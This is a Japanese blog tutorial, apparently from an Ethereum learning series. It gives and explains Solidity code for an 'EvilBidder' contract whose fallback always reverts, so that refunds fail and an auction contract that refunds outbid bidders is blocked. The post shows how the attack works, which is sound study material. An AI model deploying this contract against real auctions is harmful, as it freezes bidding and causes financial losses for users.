Ethereum(23) - オークションを攻撃するスマートコントラクト①(実装編)

今回はオークションを攻撃するスマートコントラクトを実装していきます。

実装

オークションを攻撃するためのコードは次の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4.11;
contract EvilBidder {
/// Fallback関数(返金時にコールされる)
function() payable{
revert(); // エラーを発生する(Exceptionをスローする)
}

/// bid用の関数
function bid(address _to) public payable {
// bidを行う
if(!_to.call.value(msg.value)(bytes4(sha3("bid()")))) {
throw;
}
}
}

各関数の説明は下記のとおりです。

  • Fallback関数(4行目)
    無名の関数となっていて、返金が発生した場合に呼び出されます。
  • revert関数(5行目)
    意図的にエラーを発生させます。
  • bid関数(9行目)
    引数で指定されたアドレス(_to)に対して送金処理を行う関数です。
    オークション用のコントラクトに対して入札を行います。
    (_toアドレスを持つコンストラクトのbid関数を、msg.valueを送金金額として呼び出す。)
    Solidityで記述された関数はコンパイルされると、関数のSHA3ハッシュ値の最初の4バイトで識別されます。

次回は、この悪意のあるコントラクトを使ってオークション用のコントラクトを攻撃していきます。